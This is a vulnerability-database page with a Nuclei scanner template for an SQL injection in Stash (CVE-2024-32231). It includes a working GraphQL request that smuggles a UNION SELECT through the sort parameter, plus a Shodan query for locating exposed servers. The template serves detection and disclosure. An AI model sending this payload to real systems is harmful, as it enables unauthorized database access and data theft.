| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2024-32231 | 15 Aug 202420:59 | – | circl | |
| Stash 安全漏洞 | 15 Aug 202400:00 | – | cnnvd | |
| CVE-2024-32231 | 15 Aug 202400:00 | – | cve | |
| CVE-2024-32231 | 15 Aug 202400:00 | – | cvelist | |
| SQL injection in github.com/stashapp/stash | 15 Aug 202418:31 | – | github | |
| CVE-2024-32231 | 15 Aug 202418:15 | – | nvd | |
| GHSA-75JF-52JG-QQH4 SQL injection in github.com/stashapp/stash | 15 Aug 202418:31 | – | osv | |
| GO-2024-3070 SQL injection in github.com/stashapp/stash | 16 Aug 202417:28 | – | osv | |
| PT-2024-24467 · Stash · Stash | 15 Aug 202400:00 | – | ptsecurity | |
| CVE-2024-32231 | 23 May 202510:04 | – | redhatcve |
id: CVE-2024-32231
info:
name: Stash < 0.26.0 - SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Stash up to v0.25.1 was discovered to contain a SQL injection vulnerability via the sort parameter.
impact: |
Attackers can execute arbitrary SQL queries via the sort parameter, potentially extracting sensitive database information.
remediation: |
Update Stash to version 0.26.0 or later.
reference:
- https://github.com/stashapp
- https://github.com/stashapp/stash
- https://github.com/stashapp/stash/pull/4865
- https://github.com/advisories/GHSA-75jf-52jg-qqh4
- https://nvd.nist.gov/vuln/detail/CVE-2024-32231
classification:
cve-id: CVE-2024-32231
epss-score: 0.01179
epss-percentile: 0.63899
metadata:
verified: true
max-request: 1
shodan-query: html:"<title>Stash</title>"
tags: cve,cve2024,stash,sqli,vuln
http:
- raw:
- |
POST /graphql HTTP/1.1
Host: {{Hostname}}
Content-type: application/json
{"operationName":"FindPerformers","variables":{"filter":{"q":"","page":1,"per_page":40,"sort":"name;select performers.id FROM performers union select group_concat(sqlite_version(),':')-- -","direction":"ASC"},"performer_filter":{}},"query":"query FindPerformers($filter: FindFilterType, $performer_filter: PerformerFilterType, $performer_ids: [Int!]) {\n findPerformers(\n filter: $filter\n performer_filter: $performer_filter\n performer_ids: $performer_ids\n ) {\n count\n performers {\n ...PerformerData\n __typename\n }\n __typename\n }\n}\n\nfragment PerformerData on Performer {\n id\n name\n disambiguation\n url\n gender\n twitter\n instagram\n birthdate\n ethnicity\n country\n eye_color\n height_cm\n measurements\n fake_tits\n penis_length\n circumcised\n career_length\n tattoos\n piercings\n alias_list\n favorite\n ignore_auto_tag\n image_path\n scene_count\n image_count\n gallery_count\n movie_count\n performer_count\n o_counter\n tags {\n ...SlimTagData\n __typename\n }\n stash_ids {\n stash_id\n endpoint\n __typename\n }\n rating100\n details\n death_date\n hair_color\n weight\n __typename\n}\n\nfragment SlimTagData on Tag {\n id\n name\n aliases\n image_path\n parent_count\n child_count\n __typename\n}"}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'converting driver\.Value type string \(\\"3.*?\\"\) to a int: invalid syntax'
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a00473045022070f6748104430b461af7135b066e5196936f434243b7819cafb659ea2e4a2af1022100b3a5d888f95db3327471216f88208b78c20f4018ed04407a336a01cffe9cb009:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation